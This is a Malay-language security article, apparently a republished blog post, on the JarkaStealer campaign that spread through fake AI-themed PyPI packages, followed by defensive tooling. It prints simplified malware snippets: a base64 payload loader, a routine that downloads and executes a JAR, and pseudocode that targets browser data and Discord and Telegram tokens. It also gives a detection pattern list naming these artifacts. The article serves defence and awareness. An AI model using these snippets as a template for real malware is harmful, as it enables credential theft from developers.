Bulan kebelakangan ini telah menyaksikan lonjakan dalam serangan rantaian bekalan canggih yang menyasarkan pembangun Python melalui pakej PyPI yang menyamar sebagai alatan pembangunan AI. Mari analisa serangan ini dan pelajari cara melindungi persekitaran pembangunan kita.
Dua pakej terkenal telah ditemui mengedarkan perisian hasad JarkaStealer:
Kedua-dua pakej menarik ribuan muat turun sebelum akhirnya dialih keluar daripada PyPI.
Begini rupa struktur pakej berniat jahat biasa:
# setup.py from setuptools import setup setup( name="gptplus", version="1.0.0", description="Enhanced GPT-4 Turbo API Integration", packages=["gptplus"], install_requires=[ "requests>=2.25.1", "cryptography>=3.4.7" ] ) # Inside main package file import base64 import os import subprocess def initialize(): encoded_payload = "BASE64_ENCODED_MALICIOUS_PAYLOAD" decoded = base64.b64decode(encoded_payload) # Malicious execution follows
Serangan mengikuti urutan ini:
# Simplified representation of the malware deployment process def deploy_malware(): # Check if Java is installed if not is_java_installed(): download_jre() # Download malicious JAR jar_url = "https://github.com/[REDACTED]/JavaUpdater.jar" download_file(jar_url, "JavaUpdater.jar") # Execute with system privileges subprocess.run(["java", "-jar", "JavaUpdater.jar"])
Kaedah pengumpulan data JarkaStealer:
# Pseudocode representing JarkaStealer's operation class JarkaStealer: def collect_browser_data(self): paths = { 'chrome': os.path.join(os.getenv('LOCALAPPDATA'), 'Google/Chrome/User Data/Default'), 'firefox': os.path.join(os.getenv('APPDATA'), 'Mozilla/Firefox/Profiles') } # Extract cookies, history, saved passwords def collect_system_info(self): info = { 'hostname': os.getenv('COMPUTERNAME'), 'username': os.getenv('USERNAME'), 'ip': requests.get('https://api.ipify.org').text } return info def steal_tokens(self): token_paths = { 'discord': os.path.join(os.getenv('APPDATA'), 'discord'), 'telegram': os.path.join(os.getenv('APPDATA'), 'Telegram Desktop') } # Extract and exfiltrate tokens
Berikut ialah alat yang boleh anda gunakan untuk mengesahkan pakej sebelum pemasangan:
import requests import json from datetime import datetime import subprocess def analyze_package(package_name): """ Comprehensive package analysis tool """ def check_pypi_info(): url = f"https://pypi.org/pypi/{package_name}/json" response = requests.get(url) if response.status_code == 200: data = response.json() return { "author": data["info"]["author"], "maintainer": data["info"]["maintainer"], "home_page": data["info"]["home_page"], "project_urls": data["info"]["project_urls"], "release_date": datetime.fromisoformat( data["releases"][data["info"]["version"]][0]["upload_time_iso_8601"] ) } return None def scan_dependencies(): result = subprocess.run( ["pip-audit", package_name], capture_output=True, text=True ) return result.stdout info = check_pypi_info() if info: print(f"Package Analysis for {package_name}:") print(f"Author: {info['author']}") print(f"Maintainer: {info['maintainer']}") print(f"Homepage: {info['home_page']}") print(f"Release Date: {info['release_date']}") # Red flags check if (datetime.now() - info['release_date']).days < 30: print("⚠️ Warning: Recently published package") if not info['home_page']: print("⚠️ Warning: No homepage provided") # Scan dependencies print("\nDependency Scan Results:") print(scan_dependencies()) else: print(f"Package {package_name} not found on PyPI")
Laksanakan skrip pemantauan ini untuk mengesan aktiviti yang mencurigakan:
import psutil import os import logging from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler class SuspiciousActivityMonitor(FileSystemEventHandler): def __init__(self): self.logger = logging.getLogger('SecurityMonitor') self.suspicious_patterns = [ 'JavaUpdater', '.jar', 'base64', 'telegram', 'discord' ] def on_created(self, event): if not event.is_directory: self._check_file(event.src_path) def _check_file(self, filepath): filename = os.path.basename(filepath) # Check for suspicious patterns for pattern in self.suspicious_patterns: if pattern.lower() in filename.lower(): self.logger.warning( f"Suspicious file created: {filepath}" ) # Check for base64 encoded content try: with open(filepath, 'r') as f: content = f.read() if 'base64' in content: self.logger.warning( f"Possible base64 encoded payload in: {filepath}" ) except: pass def start_monitoring(): logging.basicConfig(level=logging.INFO) event_handler = SuspiciousActivityMonitor() observer = Observer() observer.schedule(event_handler, path=os.getcwd(), recursive=True) observer.start() return observer
# Create isolated environments for each project python -m venv .venv source .venv/bin/activate # Unix .venv\Scripts\activate # Windows # Lock dependencies pip freeze > requirements.txt
# Example GitHub Actions workflow name: Security Scan on: [push, pull_request] jobs: security: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Run security scan run: | pip install safety bandit safety check bandit -r .
Peningkatan serangan PyPI bertemakan AI mewakili evolusi yang canggih dalam ancaman rantaian bekalan. Dengan melaksanakan proses pengesahan yang mantap dan mengekalkan sistem pemantauan yang berwaspada, pasukan pembangunan boleh mengurangkan pendedahan mereka kepada risiko ini dengan ketara.
Ingat: Apabila menyepadukan pakej AI, sentiasa sahkan sumber, imbas kod dan kekalkan pemantauan keselamatan yang komprehensif. Kos pencegahan sentiasa lebih rendah daripada kos pemulihan daripada pelanggaran keselamatan.
Nota: Artikel ini berdasarkan insiden keselamatan sebenar. Beberapa contoh kod telah diubah suai untuk mengelakkan penyalahgunaan.
Atas ialah kandungan terperinci Mengesan dan Mengurangkan Serangan PyPI yang Menyasarkan Peminat AI: Menyelam Lebih Dalam ke dalam Kempen JarkaStealer. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!